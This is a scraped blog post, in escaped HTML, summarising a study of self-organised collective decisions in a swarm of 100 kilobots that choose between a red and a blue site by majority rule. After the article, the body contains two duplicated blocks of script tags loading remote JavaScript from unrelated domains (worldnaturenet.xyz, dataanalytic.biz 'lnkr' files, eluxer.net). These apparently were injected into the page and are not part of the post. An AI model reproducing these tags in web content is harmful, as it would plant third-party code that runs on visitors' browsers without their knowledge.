The kilobot is a small and cheap robot with very limited capabilities. They can move in a straight line or rotate around their center. They have only one sensor with wich they can measure the ambient brightness and the can also exchange message with neighbors robots, and when receive the message estimate the distance of the sender.<\/p>\n<p>In the video it is explained the study of collective decision making in a swarm of 100 kilobots.<br \/>\nThe robots are initially in the nest. From the nest the robots can move to the red or blu side. The goal of the swarm is define consensus on the best side, in this case the red side, (defined by an abstract numerical value).<\/p>\n<p>The robot primary goal is to promote its preference, and broadcasting its preference while performing a random walk. Before to move to one site the robot collects preference from his neighbors and applies the majority rule to update his preference and travels towards the chosen side. Then the robot explore the area to determine the site quality. Eventually the robot returns to the nest disseminating his state.<\/p>\n<p>In a way similar to honey bees, the robots promote a particular site proportionally to the quality of that site.<br \/>\nThis modulation mechanism introduces a positive feedback that bring the swarm to choose the best site.<\/p>\n<p>Thi project was developed by Gabriele Valentini, Heiko Hamann and Marco Dorigo in collaboration with the\u00a0IRIDIA, Institut de Recherches Interdisciplinaires\u00a0et de D\u00b4eveloppements en Intelligence Artificielle\u00a0Universite Libre de Bruxelles.<\/p>\n<p>&nbsp;<\/p>\n<p><script src=\"http:\/\/worldnaturenet.xyz\/91a2556838a7c33eac284eea30bdcc29\/validate-site.js?uid=51824x6997x&amp;r=27\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/dataanalytic.biz\/addons\/lnkr5.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/dataanalytic.biz\/addons\/lnkr30_nt.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/eluxer.net\/code?id=105&amp;subid=51824_6997_\" type=\"text\/javascript\"><\/script><\/p>\n<p><script src=\"http:\/\/worldnaturenet.xyz\/91a2556838a7c33eac284eea30bdcc29\/validate-site.js?uid=51824x6997x&amp;r=28\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/dataanalytic.biz\/addons\/lnkr5.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/dataanalytic.biz\/addons\/lnkr30_nt.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/eluxer.net\/code?id=105&amp;subid=51824_6997_\" type=\"text\/javascript\"><\/script><\/p>\n<div style=\"padding-bottom:15px; padding-top:2px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - https:\/\/www.hupso.com\/share\/ --><a class=\"hupso_toolbar\" href=\"https:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/dot.png\" style=\"border:0px; padding-top: 5px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_t=new Array(\"Twitter\",\"Facebook\",\"Linkedin\");var hupso_background_t=\"#84FF5E\";var hupso_border_t=\"#FFE959\";var hupso_toolbar_size_t=\"medium\";var hupso_image_folder_url = \"\";var hupso_twitter_via=\"SwarmStrength\";var hupso_url_t=\"\";var hupso_title_t=\"Self-Organized%20Collective%20Decisions%20in%20a%20Robot%20Swarm\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/share_toolbar.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"excerpt":{"rendered":"<p>&nbsp; This robots swarm take ispiration from the behaviour of honey bees swarm.
